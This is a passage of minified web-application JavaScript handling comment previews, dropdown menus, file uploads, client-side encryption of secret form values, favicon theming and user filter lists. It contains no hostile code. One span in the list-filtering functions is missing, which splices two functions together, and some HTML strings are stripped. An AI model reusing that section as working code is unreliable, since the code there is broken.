n?r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"):r.removeAttribute("data-hotkey"),t}s(Wt,"activateTab"),(0,c.on)("click",".js-write-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z){setTimeout(()=>{n.querySelector(".js-comment-field").focus()});return}const o=Wt(t);(0,c.f)(n,"preview:toggle:off");const r=n.querySelector(".js-discussion-poll-form-component");r&&(0,c.f)(r,"poll-preview:toggle:off"),setTimeout(()=>{o.querySelector(".js-comment-field").focus()});const i=n.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1)}),(0,c.on)("click",".js-preview-tab",function(e){const t=e.currentTarget,n=t.closest(".js-previewable-comment-form");if(n instanceof Ut.Z)return;const o=Wt(t);(0,c.f)(n,"preview:toggle:on"),setTimeout(()=>{Kt(o)});const r=n.querySelector("markdown-toolbar");r instanceof HTMLElement&&(r.hidden=!0),e.stopPropagation(),e.preventDefault()}),(0,c.on)("tab-container-change",".js-previewable-comment-form",function(e){const t=e.detail.relatedTarget,n=t&&t.classList.contains("js-preview-panel"),o=e.currentTarget,r=o.querySelector(".js-write-tab");if(n){const i=o.querySelector(".js-write-bucket"),a=o.querySelector(".js-preview-body");!a.hasAttribute("data-skip-sizing")&&i.clientHeight>0&&(a.style.minHeight=`${i.clientHeight}px`),r.setAttribute("data-hotkey","Control+P,Meta+Shift+p"),Kt(o);const y=o.querySelector("markdown-toolbar");y instanceof HTMLElement&&(y.hidden=!0)}else{r.removeAttribute("data-hotkey");const i=o.querySelector("markdown-toolbar");i instanceof HTMLElement&&(i.hidden=!1);const a=document.querySelector(".js-discussion-poll-form-component");a&&(0,c.f)(a,"poll-preview:toggle:off")}o.classList.toggle("preview-selected",n),o.classList.toggle("write-selected",!n)}),(0,c.on)("preview:render",".js-previewable-comment-form",function(e){const t=e.target.querySelector(".js-preview-tab"),n=Wt(t);setTimeout(()=>{Kt(n);const o=n.querySelector("markdown-toolbar");o instanceof HTMLElement&&(o.hidden=!0)})});function Bs(e){var t,n,o,r,i,a,l,y,w;const S=e.querySelector(".js-comment-field").value,R=(t=e.querySelector(".js-path"))==null?void 0:t.value,I=(n=e.querySelector(".js-line-number"))==null?void 0:n.value,F=(o=e.querySelector(".js-start-line-number"))==null?void 0:o.value,X=(r=e.querySelector(".js-side"))==null?void 0:r.value,oe=(i=e.querySelector(".js-start-side"))==null?void 0:i.value,Q=(a=e.querySelector(".js-start-commit-oid"))==null?void 0:a.value,se=(l=e.querySelector(".js-end-commit-oid"))==null?void 0:l.value,ce=(y=e.querySelector(".js-base-commit-oid"))==null?void 0:y.value,de=(w=e.querySelector(".js-comment-id"))==null?void 0:w.value,Y=new FormData;return Y.append("text",S),Y.append("authenticity_token",Ns(e)),R&&Y.append("path",R),I&&Y.append("line_number",I),F&&Y.append("start_line_number",F),X&&Y.append("side",X),oe&&Y.append("start_side",oe),Q&&Y.append("start_commit_oid",Q),se&&Y.append("end_commit_oid",se),ce&&Y.append("base_commit_oid",ce),de&&Y.append("comment_id",de),Y}s(Bs,"previewForm");function eo(e){const t=e.getAttribute("data-preview-url"),n=Bs(e);return(0,c.f)(e,"preview:setup",{data:n}),$s(t,n)}s(eo,"fetchPreview");const $s=(0,qe.Z)(Fs,{hash:Us});let zt=null;async function Fs(e,t){zt==null||zt.abort();const{signal:n}=zt=new AbortController,o=await fetch(e,{method:"post",body:t,signal:n});if(!o.ok)throw new Error("something went wrong");return o.text()}s(Fs,"uncachedFetch");function Us(e,t){const n=[...t.entries()].toString();return`${e}:${n}`}s(Us,"hash");async function Kt(e){const t=e.querySelector(".comment-body");t.innerHTML="

    Loading preview…

    ";try{const n=await eo(e);t.innerHTML=n||"

    Nothing to preview

    ",(0,c.f)(e,"preview:rendered")}catch(n){n.name!=="AbortError"&&(t.innerHTML="

    Error rendering preview

    ")}}s(Kt,"renderPreview"),(0,u.N7)(".js-preview-tab",function(e){e.addEventListener("mouseenter",async()=>{const t=e.closest(".js-previewable-comment-form");try{await eo(t)}catch{}})}),(0,j.w4)("keydown",".js-comment-field",function(e){const t=e.target;if((e.ctrlKey||e.metaKey)&&e.shiftKey&&e.key.toUpperCase()==="P"){const n=t.closest(".js-previewable-comment-form");n.classList.contains("write-selected")&&(n instanceof Ut.Z?n.querySelector(".js-preview-tab").click():(t.blur(),n.dispatchEvent(new CustomEvent("preview:render",{bubbles:!0,cancelable:!1}))),e.preventDefault(),e.stopImmediatePropagation())}});const to=/^(\+1|-1|:\+1?|:-1?)$/,Ws=s(e=>{let t=!1;for(const n of e.split(` +`)){const o=n.trim();if(!(!o||o.startsWith(">"))){if(t&&to.test(o)===!1)return!1;!t&&to.test(o)&&(t=!0)}}return t},"isReactionLikeComment");(0,c.on)("focusout","#new_comment_field",function(e){const n=e.currentTarget.closest(".js-reaction-suggestion");n&&oo(n)}),(0,c.on)("focusin","#new_comment_field",function(e){no(e)}),(0,j.w4)("keyup","#new_comment_field",function(e){no(e)});function no(e){const t=e.target,n=t.value,o=t.closest(".js-reaction-suggestion");if(!!o)if(Ws(n)){o.classList.remove("hide-reaction-suggestion"),o.classList.add("reaction-suggestion");const r=o.getAttribute("data-reaction-markup");o.setAttribute("data-reaction-suggestion-message",r)}else oo(o)}s(no,"toggleReactionSuggestion");function oo(e){e.classList.remove("reaction-suggestion"),e.classList.add("hide-reaction-suggestion"),e.removeAttribute("data-reaction-suggestion-message")}s(oo,"clearReactionSuggestion");var at=f(5287);(0,c.on)("navigation:keydown",".js-commits-list-item",function(e){!(0,at.Zf)(e.detail.originalEvent)||e.target instanceof Element&&e.detail.hotkey==="c"&&e.target.querySelector(".js-navigation-open").click()});var nu=f(87924);(0,j.q6)(".js-company-name-input",function(e){const t=e.target,n=t.form,o=n.querySelector(".js-corp-tos-link"),r=n.querySelector(".js-tos-link");r&&(r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.classList.remove("d-none"),o.setAttribute("aria-hidden","false")));const i=n.querySelectorAll(".js-company-name-text");if(i.length!==0)for(const a of i)if(t.value)if(a.hasAttribute("data-wording")){const y=a.getAttribute("data-wording");a.textContent=` ${y} ${t.value}`}else a.textContent=t.value;else a.textContent=""}),(0,u.N7)(".js-company-owned:not(:checked)",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input"),o=document.querySelector(".js-company-name-text"),r=document.querySelector(".js-corp-tos-link"),i=document.querySelector(".js-tos-link");n&&(e.getAttribute("data-optional")&&n.removeAttribute("required"),(0,L.Se)(n,"")),i.classList.remove("d-none"),i.setAttribute("aria-hidden","false"),r.classList.add("d-none"),r.setAttribute("aria-hidden","true"),o&&(o.textContent="")}}),(0,u.N7)(".js-company-owned:checked",{constructor:HTMLInputElement,add(e){const n=e.form.querySelector(".js-company-name-input");n&&(n.setAttribute("required",""),(0,c.f)(n,"focus"),(0,c.f)(n,"input"))}}),(0,u.N7)(".js-company-owned-autoselect",{constructor:HTMLInputElement,add(e){const t=e;function n(){if(t.checked&&t.form){const o=t.form.querySelector(".js-company-owned");(0,L.Se)(o,!0)}}s(n,"autoselect"),t.addEventListener("change",n),n()}});var Vt=f(10178),Xt=f(33948),Gt=f(55444);let je=null;document.addEventListener("keydown",function(e){!e.defaultPrevented&&e.key==="Escape"&&je&&je.removeAttribute("open")}),(0,u.N7)(".js-dropdown-details",{subscribe:e=>(0,M.qC)((0,M.RB)(e,"toggle",Ks),(0,M.RB)(e,"toggle",zs))});function zs({currentTarget:e}){const t=e;if(t.hasAttribute("open")){const n=t.querySelector("[autofocus]");n&&n.focus()}else{const n=t.querySelector("summary");n&&n.focus()}}s(zs,"autofocus");function Ks({currentTarget:e}){const t=e;t.hasAttribute("open")?(je&&je!==t&&je.removeAttribute("open"),je=t):t===je&&(je=null)}s(Ks,"closeCurrentDetailsDropdown"),(0,u.N7)("[data-deferred-details-content-url]:not([data-details-no-preload-on-hover])",{subscribe:e=>{const t=e.querySelector("summary");return(0,M.RB)(t,"mouseenter",Gt.G)}}),(0,u.N7)("[data-deferred-details-content-url]",{subscribe:e=>(0,M.RB)(e,"toggle",Gt.G)}),(0,c.on)("click","[data-toggle-for]",function(e){const t=e.currentTarget.getAttribute("data-toggle-for")||"",n=document.getElementById(t);!n||(n.hasAttribute("open")?n.removeAttribute("open"):n.setAttribute("open","open"))}),(0,Xt.Z)(function({target:e}){if(!e||e.closest("summary"))return;let t=e.parentElement;for(;t;)t=t.closest("details"),t&&(t.hasAttribute("open")||t.setAttribute("open",""),t=t.parentElement)}),(0,c.on)("details-dialog-close","[data-disable-dialog-dismiss]",function(e){e.preventDefault()});var Vs=f(88309);(0,u.N7)("details.select-menu details-menu include-fragment",function(e){const t=e.closest("details");!t||(e.addEventListener("loadstart",function(){t.classList.add("is-loading"),t.classList.remove("has-error")}),e.addEventListener("error",function(){t.classList.add("has-error")}),e.addEventListener("loadend",function(){t.classList.remove("is-loading");const n=t.querySelector(".js-filterable-field");n&&(0,c.f)(n,"filterable:change")}))}),(0,u.N7)("details details-menu .js-filterable-field",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="",(0,c.f)(e,"filterable:change"))})}}),(0,u.N7)("details-menu[role=menu] [role=menu]",e=>{const t=e.closest("details-menu[role]");t&&t!==e&&t.removeAttribute("role")}),(0,u.N7)("details details-menu remote-input input",{constructor:HTMLInputElement,add(e){const t=e.closest("details");t.addEventListener("toggle",function(){t.hasAttribute("open")||(e.value="")})}}),(0,u.N7)("form details-menu",e=>{const t=e.closest("form");t.addEventListener("reset",()=>{setTimeout(()=>Xs(t),0)})});function Xs(e){const t=e.querySelectorAll("details-menu [role=menuitemradio] input[type=radio]:checked");for(const n of t)(0,c.f)(n,"change")}s(Xs,"resetMenus"),(0,j.w4)("keypress","details-menu .js-filterable-field, details-menu filter-input input",e=>{if(e.key==="Enter"){const o=e.currentTarget.closest("details-menu").querySelector('[role^="menuitem"]:not([hidden])');o instanceof HTMLElement&&o.click(),e.preventDefault()}}),(0,c.on)("details-menu-selected","details-menu",e=>{const n=e.currentTarget.querySelector(".js-filterable-field");n instanceof HTMLInputElement&&n.value&&n.focus()},{capture:!0}),(0,c.on)("details-menu-selected","[data-menu-input]",e=>{if(!(e.target instanceof Element))return;const t=e.target.getAttribute("data-menu-input"),n=document.getElementById(t);(n instanceof HTMLInputElement||n instanceof HTMLTextAreaElement)&&(n.value=e.detail.relatedTarget.value)},{capture:!0}),(0,u.N7)("details-menu remote-input",{constructor:Vs.Z,initialize(e){const t=document.getElementById(e.getAttribute("aria-owns")||"");if(!t)return;let n=null;e.addEventListener("load",()=>{document.activeElement&&t.contains(document.activeElement)&&document.activeElement.id?n=document.activeElement.id:n=null}),e.addEventListener("loadend",()=>{if(n){const o=t.querySelector(`#${n}`)||t.querySelector('[role^="menu"]');o instanceof HTMLElement?o.focus():e.input&&e.input.focus()}})}}),(0,c.on)("details-menu-selected","details-menu[data-menu-max-options]",e=>{const t=+e.currentTarget.getAttribute("data-menu-max-options"),n=e.currentTarget.querySelectorAll('[role="menuitemcheckbox"][aria-checked="true"]'),o=t===n.length;e.currentTarget.querySelector("[data-menu-max-options-warning]").hidden=!o;for(const r of e.currentTarget.querySelectorAll('[role="menuitemcheckbox"] input'))r.disabled=o&&!r.checked},{capture:!0}),(0,u.N7)("details > details-menu",{subscribe(e){const t=e.closest("details");return(0,M.RB)(t,"toggle",Gs)}});async function Gs({currentTarget:e}){const t=e,n=t.hasAttribute("open");(0,c.f)(t,n?"menu:activate":"menu:deactivate"),await(0,k.gJ)(),(0,c.f)(t,n?"menu:activated":"menu:deactivated")}s(Gs,"fireMenuToggleEvent"),(0,u.N7)("details > details-menu[preload]:not([src])",{subscribe(e){return(0,M.RB)(e.parentElement,"mouseover",function(t){const o=t.currentTarget.querySelector("include-fragment[src]");o==null||o.load()})}});const Zt=new WeakMap,ro=["input[type=submit][data-disable-with]","button[data-disable-with]"].join(", ");function Zs(e){return e instanceof HTMLInputElement?e.value||"Submit":e.innerHTML||""}s(Zs,"getButtonText");function so(e,t){e instanceof HTMLInputElement?e.value=t:e.innerHTML=t}s(so,"disable_with_setButtonText"),(0,c.on)("submit","form",function(e){for(const t of e.currentTarget.querySelectorAll(ro)){Zt.set(t,Zs(t));const n=t.getAttribute("data-disable-with");n&&so(t,n),t.disabled=!0}},{capture:!0});function io(e){for(const t of e.querySelectorAll(ro)){const n=Zt.get(t);n!=null&&(so(t,n),(!t.hasAttribute("data-disable-invalid")||e.checkValidity())&&(t.disabled=!1),Zt.delete(t))}}s(io,"revert"),(0,c.on)("deprecatedAjaxComplete","form",function({currentTarget:e,target:t}){e===t&&io(e)}),(0,C.uT)(io),(0,u.N7)(".js-document-dropzone",{constructor:HTMLElement,add(e){document.body.addEventListener("dragstart",uo),document.body.addEventListener("dragend",fo),document.body.addEventListener("dragenter",ct),document.body.addEventListener("dragover",ct),document.body.addEventListener("dragleave",co),e.addEventListener("drop",lo)},remove(e){document.body.removeEventListener("dragstart",uo),document.body.removeEventListener("dragend",fo),document.body.removeEventListener("dragenter",ct),document.body.removeEventListener("dragover",ct),document.body.removeEventListener("dragleave",co),e.removeEventListener("drop",lo)}});function ao(e){return Array.from(e.types).indexOf("Files")>=0}s(ao,"hasFile");let Jt=null;function ct(e){if(Qt)return;const t=e.currentTarget;Jt&&window.clearTimeout(Jt),Jt=window.setTimeout(()=>t.classList.remove("dragover"),200);const n=e.dataTransfer;!n||!ao(n)||(n.dropEffect="copy",t.classList.add("dragover"),e.stopPropagation(),e.preventDefault())}s(ct,"onDragenter");function co(e){e.target instanceof Element&&e.target.classList.contains("js-document-dropzone")&&e.currentTarget.classList.remove("dragover")}s(co,"onBodyDragleave");function lo(e){const t=e.currentTarget;t.classList.remove("dragover"),document.body.classList.remove("dragover");const n=e.dataTransfer;!n||!ao(n)||((0,c.f)(t,"document:drop",{transfer:n}),e.stopPropagation(),e.preventDefault())}s(lo,"onDrop");let Qt=!1;function uo(){Qt=!0}s(uo,"onDragstart");function fo(){Qt=!1}s(fo,"onDragend");var lt=f(69567);async function mo(e,t){const o=new TextEncoder().encode(t),{seal:r}=await Promise.all([f.e("vendors-node_modules_blakejs_index_js-node_modules_tweetnacl_nacl-fast_js"),f.e("_empty-file_js-app_assets_modules_github_tweetsodium_ts")]).then(f.bind(f,6743));return r(o,e)}s(mo,"encrypt");function ho(e){const t=atob(e).split("").map(n=>n.charCodeAt(0));return Uint8Array.from(t)}s(ho,"decode");function po(e){let t="";for(const n of e)t+=String.fromCharCode(n);return btoa(t)}s(po,"encode"),(0,c.on)("submit","form.js-encrypt-submit",async function(e){const t=e.currentTarget;if(e.defaultPrevented||!t.checkValidity())return;const n=t.elements.namedItem("secret_value");if(n.disabled=!0,!n.value)return;e.preventDefault();const o=ho(t.getAttribute("data-public-key"));t.elements.namedItem("encrypted_value").value=po(await mo(o,n.value)),t.submit()}),(0,c.on)("submit","form.js-encrypt-bulk-submit",go(!0)),(0,c.on)("submit","form.js-encrypt-bulk-submit-enable-empty",go(!1));function go(e){return async function(t){const n=t.currentTarget;if(t.defaultPrevented||!n.checkValidity())return;const o=ho(n.getAttribute("data-public-key"));t.preventDefault();for(const r of n.elements){const i=r;if(i.id.endsWith("secret")){if(i.disabled=!0,i.required&&!i.value){const l=`${i.name} is invalid!`,y=document.querySelector("template.js-flash-template");y.after(new lt.R(y,{className:"flash-error",message:l}));return}const a=`${i.name}_encrypted_value`;if(!i.value){n.elements.namedItem(a).disabled=e;continue}n.elements.namedItem(a).value=po(await mo(o,i.value))}}n.submit()}}s(go,"submitBulk");var Se=f(29946);let ut;function dt(e,t){const n=document.querySelector('.js-site-favicon[type="image/svg+xml"]'),o=document.querySelector('.js-site-favicon[type="image/png"]');t||(t="light");const r=t==="light"?"":"-dark";if(n&&o)if(ut==null&&(ut=n.href),e){e=e.substr(0,e.lastIndexOf(".")),e=`${e}${r}.svg`,n.href=e;const i=n.href.substr(0,n.href.lastIndexOf("."));o.href=`${i}.png`}else{const i=n.href.indexOf("-dark.svg"),a=n.href.substr(0,i!==-1?i:n.href.lastIndexOf("."));n.href=`${a}${r}.svg`,o.href=`${a}${r}.png`}}s(dt,"updateFavicon");function ft(){return window.matchMedia&&window.matchMedia("(prefers-color-scheme: dark)").matches}s(ft,"prefersDarkColorScheme");function Js(){ut!=null&&dt(ut,ft()?"dark":"light")}s(Js,"resetIcon");function bo(){ft()&&dt(void 0,"dark")}s(bo,"updateDarkFavicon"),(0,u.N7)("[data-favicon-override]",{add(e){const t=e.getAttribute("data-favicon-override");setTimeout(()=>dt(t,ft()?"dark":"light"))},remove(){Js()}}),bo(),document.addEventListener(Se.QE.SUCCESS,bo),window.matchMedia("(prefers-color-scheme: dark)").addListener(()=>{dt(void 0,ft()?"dark":"light")}),(0,u.N7)(".js-feature-preview-indicator-container",e=>{Qs(e)});async function Qs(e){const t=e.getAttribute("data-feature-preview-indicator-src"),n=await Ys(t),o=e.querySelectorAll(".js-feature-preview-indicator");for(const r of o)r.hidden=!n}s(Qs,"fetchFeaturePreviewIndicator");async function Ys(e){try{const t=await fetch(e,{headers:{Accept:"application/json"}});return t.ok?(await t.json()).show_indicator:!1}catch{return!1}}s(Ys,"fetchIndicator");var Te=f(12737),pe=f(29719);(0,c.on)("click","[data-feature-preview-trigger-url]",async e=>{const t=e.currentTarget,n=t.getAttribute("data-feature-preview-trigger-url"),o=await(0,Te.W)({content:(0,pe.a)(document,n),dialogClass:"feature-preview-dialog"}),r=t.getAttribute("data-feature-preview-close-details"),i=t.getAttribute("data-feature-preview-close-hmac");o.addEventListener("dialog:remove",()=>{(0,he.b)({hydroEventPayload:r,hydroEventHmac:i},!0)});const a=document.querySelectorAll(".js-feature-preview-indicator");for(const l of a)l.hidden=!0}),(0,C.AC)(".js-feature-preview-unenroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-unenroll:${n}`)}),(0,C.AC)(".js-feature-preview-enroll",async(e,t)=>{await t.text();const n=e.querySelector(".js-feature-preview-slug").value;(0,c.f)(e,`feature-preview-enroll:${n}`)});class yo{constructor(t,n){this.attachment=t,this.policy=n}async process(t){var n,o,r,i;const a=window.performance.now(),l=new Headers(this.policy.header||{}),y=new XMLHttpRequest;y.open("POST",this.policy.upload_url,!0);for(const[I,F]of l)y.setRequestHeader(I,F);y.onloadstart=()=>{t.attachmentUploadDidStart(this.attachment,this.policy)},y.upload.onprogress=I=>{if(I.lengthComputable){const F=Math.round(I.loaded/I.total*100);t.attachmentUploadDidProgress(this.attachment,F)}},await ei(y,ti(this.attachment,this.policy)),y.status===204?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,{})):y.status===201?(vo(this.policy),t.attachmentUploadDidComplete(this.attachment,this.policy,JSON.parse(y.responseText))):t.attachmentUploadDidError(this.attachment,{status:y.status,body:y.responseText});const R={duration:window.performance.now()-a,size:(o=(n=this.attachment)==null?void 0:n.file)==null?void 0:o.size,fileType:(i=(r=this.attachment)==null?void 0:r.file)==null?void 0:i.type,success:y.status===204||y.status===201};(0,he.b)({uploadTiming:R},!0)}}s(yo,"AttachmentUpload");function ei(e,t){return new Promise((n,o)=>{e.onload=()=>n(e),e.onerror=o,e.send(t)})}s(ei,"send");function ti(e,t){const n=new FormData;t.same_origin&&n.append("authenticity_token",t.upload_authenticity_token);for(const o in t.form)n.append(o,t.form[o]);return n.append("file",e.file),n}s(ti,"uploadForm");function vo(e){const t=typeof e.asset_upload_url=="string"?e.asset_upload_url:null,n=typeof e.asset_upload_authenticity_token=="string"?e.asset_upload_authenticity_token:null;if(!(t&&n))return;const o=new FormData;o.append("authenticity_token",n),fetch(t,{method:"PUT",body:o,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(vo,"markComplete");async function ni(e,t){const n=ii(e,t);for(const o of e.attachments){const r=await oi(e,o,t);if(!r)return;try{await new yo(o,r).process(n)}catch{(0,c.f)(t,"upload:error",{batch:e,attachment:o}),Ae(t,"is-failed");return}}}s(ni,"upload");async function oi(e,t,n){const o=ri(t,n),r=[];(0,c.f)(n,"upload:setup",{batch:e,attachment:t,form:o,preprocess:r});try{await Promise.all(r);const i=await fetch(si(o,n));if(i.ok)return await i.json();(0,c.f)(n,"upload:invalid",{batch:e,attachment:t});const a=await i.text(),l=i.status,{state:y,messaging:w}=wo({status:l,body:a},t.file);Ae(n,y,w)}catch{(0,c.f)(n,"upload:invalid",{batch:e,attachment:t}),Ae(n,"is-failed")}return null}s(oi,"validate");function ri(e,t){const n=t.querySelector(".js-data-upload-policy-url-csrf").value,o=t.getAttribute("data-upload-repository-id"),r=t.getAttribute("data-subject-type"),i=t.getAttribute("data-subject-param"),a=e.file,l=new FormData;return l.append("name",a.name),l.append("size",String(a.size)),l.append("content_type",a.type),l.append("authenticity_token",n),r&&l.append("subject_type",r),i&&l.append("subject",i),o&&l.append("repository_id",o),e.directory&&l.append("directory",e.directory),l}s(ri,"policyForm");function si(e,t){return new Request(t.getAttribute("data-upload-policy-url"),{method:"POST",body:e,credentials:"same-origin",headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}})}s(si,"policyRequest");function ii(e,t){return{attachmentUploadDidStart(n,o){n.saving(0),Ae(t,"is-uploading"),(0,c.f)(t,"upload:start",{batch:e,attachment:n,policy:o})},attachmentUploadDidProgress(n,o){n.saving(o),(0,c.f)(t,"upload:progress",{batch:e,attachment:n})},attachmentUploadDidComplete(n,o,r){n.saved(ai(r,o)),(0,c.f)(t,"upload:complete",{batch:e,attachment:n}),e.isFinished()&&Ae(t,"is-default")},attachmentUploadDidError(n,o){(0,c.f)(t,"upload:error",{batch:e,attachment:n});const{state:r}=wo(o);Ae(t,r)}}}s(ii,"createDelegate");function ai(e,t){const n=(e.id==null?null:String(e.id))||(t.asset.id==null?null:String(t.asset.id)),o=(typeof e.href=="string"?e.href:null)||(typeof t.asset.href=="string"?t.asset.href:null);return{id:n,href:o,name:t.asset.name}}s(ai,"savedAttributes");function wo(e,t){if(e.status===400)return{state:"is-bad-file"};if(e.status!==422)return{state:"is-failed"};const n=JSON.parse(e.body);if(!n||!n.errors)return{state:"is-failed"};for(const o of n.errors)switch(o.field){case"size":{const r=t?t.size:null;return r!=null&&r===0?{state:"is-empty"}:{state:"is-too-big",messaging:{message:ci(o.message),target:".js-upload-too-big"}}}case"file_count":return{state:"is-too-many"};case"width":case"height":return{state:"is-bad-dimensions"};case"name":return o.code==="already_exists"?{state:"is-duplicate-filename"}:{state:"is-bad-file"};case"content_type":return{state:"is-bad-file"};case"uploader_id":return{state:"is-bad-permissions"};case"repository_id":return{state:"is-repository-required"};case"format":return{state:"is-bad-format"}}return{state:"is-failed"}}s(wo,"policyErrorState");const ci=s(e=>e.startsWith("size")?e.substring(5):e,"trimSizeErrorMessage"),li=["is-default","is-uploading","is-bad-file","is-duplicate-filename","is-too-big","is-too-many","is-hidden-file","is-failed","is-bad-dimensions","is-empty","is-bad-permissions","is-repository-required","is-bad-format"];function Ae(e,t,n){if(n){const{message:o,target:r}=n,i=e.querySelector(r);i&&(i.innerHTML=o)}e.classList.remove(...li),e.classList.add(t)}s(Ae,"resetState");class Eo{constructor(t){this.attachments=t,this.size=this.attachments.length,this.total=Yt(this.attachments,n=>n.file.size)}percent(){const t=s(o=>o.file.size*o.percent/100,"bytes"),n=Yt(this.attachments,t);return Math.round(n/this.total*100)}uploaded(){const t=s(n=>n.isSaved()?1:0,"value");return Yt(this.attachments,t)}isFinished(){return this.attachments.every(t=>t.isSaved())}}s(Eo,"Batch");function Yt(e,t){return e.reduce((n,o)=>n+t(o),0)}s(Yt,"sum"),(0,u.N7)("file-attachment[hover]",{add(e){e.classList.add("dragover")},remove(e){e.classList.remove("dragover")}}),(0,c.on)("file-attachment-accept","file-attachment",function(e){const{attachments:t}=e.detail;t.length===0&&(Ae(e.currentTarget,"is-hidden-file"),e.preventDefault())}),(0,c.on)("file-attachment-accepted","file-attachment",function(e){const t=e.currentTarget.querySelector(".drag-and-drop");if(t&&t.hidden)return;const{attachments:n}=e.detail;ni(new Eo(n),e.currentTarget)});let Lo=0;(0,u.N7)("file-attachment",{add(e){Lo++===0&&(document.addEventListener("drop",So),document.addEventListener("dragover",To));const t=e.closest("form");t&&t.addEventListener("reset",Ao)},remove(e){--Lo===0&&(document.removeEventListener("drop",So),document.removeEventListener("dragover",To));const t=e.closest("form");t&&t.removeEventListener("reset",Ao)}});function jo(e){return Array.from(e.types).indexOf("Files")>=0}s(jo,"file_attachment_hasFile");function So(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(So,"onDocumentDrop");function To(e){const t=e.dataTransfer;t&&jo(t)&&e.preventDefault()}s(To,"onDocumentDragover");function Ao({currentTarget:e}){const t=e.querySelector("file-attachment");Ae(t,"is-default")}s(Ao,"onFormReset");var ui=f(13002);(0,c.on)("filter-input-updated","filter-input",e=>{const t=e.currentTarget.input;if(!(document.activeElement&&document.activeElement===t))return;const{count:n,total:o}=e.detail;(0,h.x)(`Found ${n} out of ${o} ${o===1?"item":"items"}`)}),(0,c.on)("toggle","details",e=>{setTimeout(()=>di(e.target),0)},{capture:!0}),(0,c.on)("tab-container-changed","tab-container",e=>{if(!(e.target instanceof HTMLElement))return;const{relatedTarget:t}=e.detail,n=e.target.querySelector("filter-input");n instanceof ui.Z&&n.setAttribute("aria-owns",t.id)},{capture:!0});function di(e){const t=e.querySelector("filter-input");t&&!e.hasAttribute("open")&&t.reset()}s(di,"resetFilter");function Co(e,t,n,o={}){var r;const i=(r=o.limit)!=null?r:1/0;let a=0;for(const l of e.children){const y=n(l,t);y==null||(y&&a0));return S}s(Mo,"filterSortList");var en=f(25833);let tn=new AbortController;const Ze=new WeakMap,qo=new WeakMap,Ro=new WeakMap;async function fi(e,t,n,o){n&&!Ze.has(e)&&pi(e);const r=await mi(e,t,n,o);return e.hasAttribute("data-filterable-data-pre-rendered")&&(r.suggestions=hi(e,n)),r}s(fi,"getData");async function mi(e,t,n,o){const r=new URL(e.getAttribute("data-filterable-src")||"",window.location.origin);if(r.pathname==="/")throw new Error("could not get data-filterable-src");if(n){const i=Ze.get(e),a=t.trim();if(i.lastSearchText===a)return i.lastSearchResult;const l=i.lastSearchText===void 0;i.lastSearchText=a;const y=e.getAttribute("data-filterable-for")||"",w=document.getElementById(y);if(tn.abort(),a===""&&!o)i.lastSearchResult={suggestions:[],users:[]};else{tn=new AbortController;const S={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"},signal:tn.signal},R=r.searchParams||new URLSearchParams;R.set("q",t),R.set("typeAhead","true"),r.search=R.toString(),l||w==null||w.classList.add("is-loading");const I=await fetch(r.toString(),S);i.lastSearchResult=await I.json()}return w==null||w.classList.remove("is-loading"),i.lastSearchResult}else{const i={headers:{Accept:"application/json","X-Requested-With":"XMLHttpRequest"}};return await(await fetch(r.toString(),i)).json()}}s(mi,"fetchQueryIfNeeded");function hi(e,t){const n=[],o=e.querySelectorAll(".js-filterable-suggested-user");if(o.length>0)for(const r of e.querySelectorAll(".js-filterable-suggested-user"))r.classList.remove("js-filterable-suggested-user"),n.push({name:r.querySelector(".js-description").textContent,login:r.querySelector(".js-username").textContent,selected:r.getAttribute("aria-checked")==="true",element:r,suggestion:!0});if(t){const r=Ze.get(e);return o.length>0&&(r.cachedSuggestions=n,r.userResultCache.clear()),r.cachedSuggestions}return n}s(hi,"getPreRenderedUsers");function pi(e){Ze.set(e,{lastSearchResult:{suggestions:[],users:[]},cachedSuggestions:[],userResultCache:new Map})}s(pi,"initializeTypeAheadCache");async function gi(e,t,n){var o,r;Ro.set(e,t),await(0,en.Z)();const i=e.hasAttribute("data-filterable-show-suggestion-header"),a=e.hasAttribute("data-filterable-type-ahead"),l=e.hasAttribute("data-filterable-type-ahead-query-on-empty");let y=qo.get(e);if(!y)try{y=await fi(e,t,a,l),a||qo.set(e,y)}catch(B){if(B.name==="AbortError")return-1;throw B}if(!a&&Ro.get(e)!==t)return-1;const w=n.limit,S=e.querySelector("template"),R={};for(const B of e.querySelectorAll("input[type=hidden]"))R[`${B.name}${B.value}`]=B;let I=S.nextElementSibling;for(;I;){const B=I;I=B.nextElementSibling,B instanceof HTMLElement&&(a||B.getAttribute("aria-checked")==="true"||B.classList.contains("select-menu-divider"))?B.hidden=!0:B.remove()}let F=0;const X=t.trim()==="",oe=document.createDocumentFragment(),Q=e.querySelector(".js-divider-suggestions"),se=e.querySelector(".js-divider-rest"),ce=Ze.get(e);function de(B){const G=`${B.login} ${B.name}`.toLowerCase().trim().includes(t),z=!(w!=null&&F>=w)&&G;if(z||B.selected||B.suggestion){const Z=bi(B,S,R,ce);Z.hidden=!z,z&&F++,oe.appendChild(Z)}}s(de,"addItem");let Y=!1;if(Q&&(((o=y.suggestions)==null?void 0:o.length)>0||i&&y.users.length>0)){const B=(r=y.suggestions)!=null?r:[],G=B.filter(Z=>Z.selected),z=B.filter(Z=>!Z.selected);for(const Z of G)de(Z);oe.appendChild(Q);const ee=F;for(const Z of z)de(Z);Y=F>ee,Q.hidden=!Y||a&&!X,i&&y.users.length>0&&(Q.hidden=!X)}se&&oe.appendChild(se);const He=F;for(const B of y.users)de(B);return se&&(se.hidden=He===F||!Y),e.append(oe),F}s(gi,"substringMemoryFilterList");function bi(e,t,n,o){if(e.element!=null)return e.element;if(o==null?void 0:o.userResultCache.has(e.id))return o.userResultCache.get(e.id);const r=t.content.cloneNode(!0),i=r.querySelector("input[type=checkbox], input[type=radio]");e.type&&(i.name=`reviewer_${e.type}_ids[]`),i.value=e.id;const a=`${i.name}${e.id}`;let 